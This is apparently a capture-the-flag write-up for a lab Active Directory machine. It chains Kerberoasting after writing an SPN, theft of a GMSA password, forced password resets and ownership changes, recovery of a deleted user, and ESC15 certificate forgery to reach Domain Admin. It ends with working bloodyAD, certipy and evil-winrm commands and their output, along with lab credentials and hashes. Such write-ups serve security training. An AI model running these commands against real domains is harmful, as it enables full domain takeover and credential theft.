Windows AD box chaining WriteSPN Kerberoasting, GMSA password abuse, and a multi-step ACL takeover to reach WinRM, then ESC15 certificate abuse after recovering a deleted user from the AD Recycle Bin
Difficulty: Medium
OS: Windows
Domain: tombwatcher.htb
DC: DC01.tombwatcher.htb (10.129.3.20)
Overview
TombWatcher is a Windows Active Directory machine that chains together several classic and modern AD attack techniques: Kerberoasting after writing an SPN, GMSA password abuse, ACL-chain exploitation to escalate across users, AD Recycle Bin object recovery, and finally ESC15 (CVE-2024-49019) ADCS abuse to gain Domain Admin.
Attack Path Summary:
Enumeration
Nmap
The scan reveals a standard Windows Domain Controller
Key findings from the scan:
Domain:tombwatcher.htb
Hostname:DC01.tombwatcher.htb
SMB Signing: Enabled and required (relay attacks not viable)
Clock skew: ~4 hours — important to account for when using Kerberos tools (faketime or ntpdate needed)
SMB Enumeration with NetExec
Using initial credentials henry:H3nry_987TGV!
Henry has read access to IPC$, NETLOGON, and SYSVOL — standard for domain users, no unusual shares.
RID Brute-Forcing — User Enumeration
Discovered domain users and groups:
RID
Account
500
Administrator
1103
Henry
1104
Alfred
1105
sam
1106
john
1107
Infrastructure (Group)
1108
ansible_dev$ (GMSA account)
The $ suffix on ansible_dev$ immediately signals a Group Managed Service Account (GMSA) — a high-value target if we can read its managed password.
BloodHound ACL Analysis
Running BloodHound against the domain reveals the full attack path:
This means:
Henry has WriteSPN on Alfred → enables targeted Kerberoasting
Alfred can add himself to Infrastructure group
Infrastructure group can read ansible_dev$'s GMSA password
ansible_dev$ has ForceChangePassword over sam
sam has WriteOwner over john → can get GenericAll → change john's password
Initial Access — Kerberoasting Alfred
Step 1: Write a Fake SPN onto Alfred
Henry's WriteSPN privilege on Alfred allows us to set an arbitrary Service Principal Name, making Alfred Kerberoastable:
Step 2: Request and Crack Alfred's TGS
A Kerberos TGS-REP hash is returned for Alfred ->Crack with Hashcat (mode 13100 = Kerberos 5 TGS-REP etype 23)
Cracked password: basketball
Lateral Movement via ACL Chain
Step 3: Alfred Adds Himself to Infrastructure Group
The BloodHound graph showed Alfred has AddSelf rights on the Infrastructure group, meaning he can add himself as a member:
Step 4: Read ansible_dev$ GMSA Password
Infrastructure group members have ReadGMSAPassword rights on ansible_dev$. The GMSA password is stored in the AD attribute msDS-ManagedPassword:
Verify the hash works:
Step 5: Force Change sam's Password
ansible_dev$ has ForceChangePassword over sam:
Step 6: Abuse sam's WriteOwner on john
With WriteOwner, sam can take ownership of john's object and then grant himself full control:
User Flag
John is a member of the Remote Management Users group, allowing WinRM access:
Privilege Escalation — ESC15 (CVE-2024-49019)
Step 7: Enumerate Writable Objects as John
John has full write control over the OU=ADCS organizational unit — this is unusual and very significant.
Step 8: Discover Deleted Users via AD Recycle Bin
The AD Recycle Bin is enabled on this domain. Check for deleted objects in the ADCS OU:
Three deleted cert_admin user objects are found, all with LastKnownParent: OU=ADCS,DC=tombwatcher,DC=htb:
GUID
SID RID
f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
1109
c1f1f0fe-df9c-494c-bf05-0679e181b358
1110
938182c3-bf0b-410a-9aaa-45c8e1a02ebf
1111
The third object (SID ending -1111) is noteworthy — earlier, Certipy failed to look up SID ...2126982587-1111, suggesting this is the one the CA was configured for.
Step 9: Restore cert_admin from Recycle Bin
Since john has write/create-child rights on the ADCS OU, we can restore the deleted objects back into it:
Confirm restoration:
The -1111 SID cert_admin is now live again in the ADCS OU.
Step 10: Set cert_admin's Password
John has write control over the ADCS OU (and objects within it):
Step 11: Find the Vulnerable Certificate Template (ESC15)
Certipy identifies the WebServer template as vulnerable to ESC15:
ESC15 (CVE-2024-49019) affects Certificate Templates with Schema Version 1 where the enrollee supplies the subject. Because Schema V1 templates don't enforce Extended Key Usage (EKU) restrictions at issuance time the same way V2+ do, an attacker can inject an arbitrary UPN (like [email protected]) AND request Client Authentication capability via the -application-policies flag — bypassing the template's intended Server Authentication-only EKU.
Step 12: Request a Certificate as Administrator
Step 13: Authenticate via Certificate to LDAP Shell
Step 14: Get the Root Flag
John is now a Domain Admin. Connect via WinRM and retrieve the root flag:
Techniques & CVEs Reference
Technique
Tool
Description
WriteSPN → Kerberoast
bloodyAD, GetUserSPNs
Add fake SPN to target, then request crackable TGS
GMSA Password Read
bloodyAD
Read msDS-ManagedPassword via group membership
ACL Abuse Chain
bloodyAD
WriteOwner → GenericAll → password change
AD Recycle Bin Recovery
PowerShell
Restore deleted privileged user objects
ESC15 / CVE-2024-49019
Certipy
Schema V1 template with enrollee-supplied subject and injected Client Auth EKU
henry (WriteSPN) → alfred (Kerberoast) → Infrastructure group (ReadGMSAPassword)
→ ansible_dev$ GMSA → ForceChangePassword on sam → WriteOwner/GenericAll on john
→ EvilWinRM as john (user flag) → Restore cert_admin from Recycle Bin
→ ESC15 ADCS cert as administrator → LDAP shell → john in Domain Admins → root flag
┌──(kali㉿kali)-[~]
└─$ nmap 10.129.3.20 -sCV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 06:21 -0400
Nmap scan report for 10.129.3.20
Host is up (0.24s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-12 14:22:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-12T14:23:31+00:00; +3h59m54s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2026-03-12T14:12:29
|_Not valid after: 2027-03-12T14:12:29
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-12T14:23:31+00:00; +3h59m54s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2026-03-12T14:12:29
|_Not valid after: 2027-03-12T14:12:29
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-12T14:23:32+00:00; +3h59m55s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2026-03-12T14:12:29
|_Not valid after: 2027-03-12T14:12:29
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2026-03-12T14:12:29
|_Not valid after: 2027-03-12T14:12:29
|_ssl-date: 2026-03-12T14:23:31+00:00; +3h59m55s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-03-12T14:22:53
|_ start_date: N/A
|_clock-skew: mean: 3h59m54s, deviation: 0s, median: 3h59m53s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.21 seconds
┌──(kali㉿kali)-[~/Documents/tombwatcher]
└─$ nxc smb 10.129.3.20 -u henry -p 'H3nry_987TGV!' --rid-brute
HENRY → WriteSPN → ALFRED
ANSIBLE_DEV$ → ReadGMSAPassword → INFRASTRUCTURE (group)
INFRASTRUCTURE → AddSelf → ALFRED
ALFRED → (member of Infrastructure after exploitation)
ANSIBLE_DEV$ → ForceChangePassword → SAM
SAM → WriteOwner → JOHN
JOHN → GenericAll → ADCS (OU)
┌──(kali㉿kali)-[~]
└─$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher -u henry -p H3nry_987TGV! set object alfred servicePrincipalName -v 'tombwatcher.htb/meow'
[+] alfreds servicePrincipalName has been updated
┌──(kali㉿kali)-[~/Documents/tombwatcher]
└─$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p basketball add groupMember Infrastructure alfred
[+] alfred added to Infrastructure
┌──(kali㉿kali)-[~/Documents/tombwatcher]
└─$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p basketball get object ansible_dev$ --attr msDS-ManagedPassword
distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:838b2bd83fbe39901be3713e8c79ce37
msDS-ManagedPassword.B64ENCODED: 8VCLe0Us2p7wtGUBb+I/kfK9bX7Mh1GNZL1kZS07PnWp0wKjEnUIQBqKJo77kBj0k+et1VSarcaHz9bBv/dl9cHW4jo/eMlHGOtDHAF+8PTsLLEi2/6w2Avokuuaxl0S3ughelQJa/AHT2sCHwkG5+ILd3xn9S54vTFRBKC8193W/gIX/tDXJinmvqlp5d2ZW0k3iPdZ3hK4msGyY7f7ghNuUbUkvakd/DjnhMf/SkyIIK5eoKGSMwNcjzVYKpSO2EcuBbtcuFPaNqKAwRGsPb6K9gHX1/Zgx8UmFIkZlthDy+hCpmbWHumgdQHS8zd9NMMnptXjjVNQwhaMKJaMEQ==
┌──(kali㉿kali)-[~/Documents/tombwatcher]
└─$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u ansible_dev$ -p :838b2bd83fbe39901be3713e8c79ce37 set password sam Test123!
[+] Password changed successfully!
# Take ownership of john's AD object
┌──(kali㉿kali)-[~/Documents/tombwatcher]
└─$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p Test123! set owner john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
# Grant sam GenericAll on john
┌──(kali㉿kali)-[~/Documents/tombwatcher]
└─$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p Test123! add genericAll john sam
[+] sam has now GenericAll on john
# Change john's password
┌──(kali㉿kali)-[~/Documents/tombwatcher]
└─$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p Test123! set password john Test123!
[+] Password changed successfully!
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i dc01.tombwatcher.htb -u john -p 'Test123!'
*Evil-WinRM* PS C:\Users\john\Documents> type ../Desktop/user.txt
a3f8xxxxxxxxxxxxxxxxxxxxxxxxfe4f
┌──(kali㉿kali)-[~/Documents/tombwatcher/PetitPotam]
└─$ certipy find -target dc01.tombwatcher.htb -u cert_admin -p 'Test123!' -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc01.tombwatcher.htb.
[!] Use -debug to print a stacktrace
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[!] DNS resolution failed: The DNS query name does not exist: DC01.tombwatcher.htb.
[!] Use -debug to print a stacktrace
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Certificate Subject : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
...SNIP...
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
┌──(kali㉿kali)-[~/Documents/tombwatcher/CS_phase]
└─$ certipy req -u [email protected] -p 'Test123!' -dc-ip 10.129.3.20 -ca tombwatcher-CA-1 -template WebServer -upn [email protected] -application-policies 1.3.6.1.5.5.7.3.2
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): n
[*] Wrote certificate and private key to 'administrator_c17845a2-733a-4eff-961f-492b277c0af8.pfx'
┌──(kali㉿kali)-[~/Documents/tombwatcher/CS_phase]
└─$ certipy auth -pfx administrator_c17845a2-733a-4eff-961f-492b277c0af8.pfx \
-dc-ip 10.129.3.20 -domain tombwatcher.htb -ldap-shell
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] Connecting to 'ldaps://10.129.3.20:636'
[*] Authenticated to '10.129.3.20' as: 'u:TOMBWATCHER\\Administrator'
Type help for list of commands
# add_user_to_group john "Domain Admins"
Adding user: john to group Domain Admins result: OK
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i dc01.tombwatcher.htb -u john -p 'Test123!'
*Evil-WinRM* PS C:\Users\john\Documents> type ../../Administrator/Desktop/root.txt
4033xxxxxxxxxxxxxxxxxxxxxxxxx85b4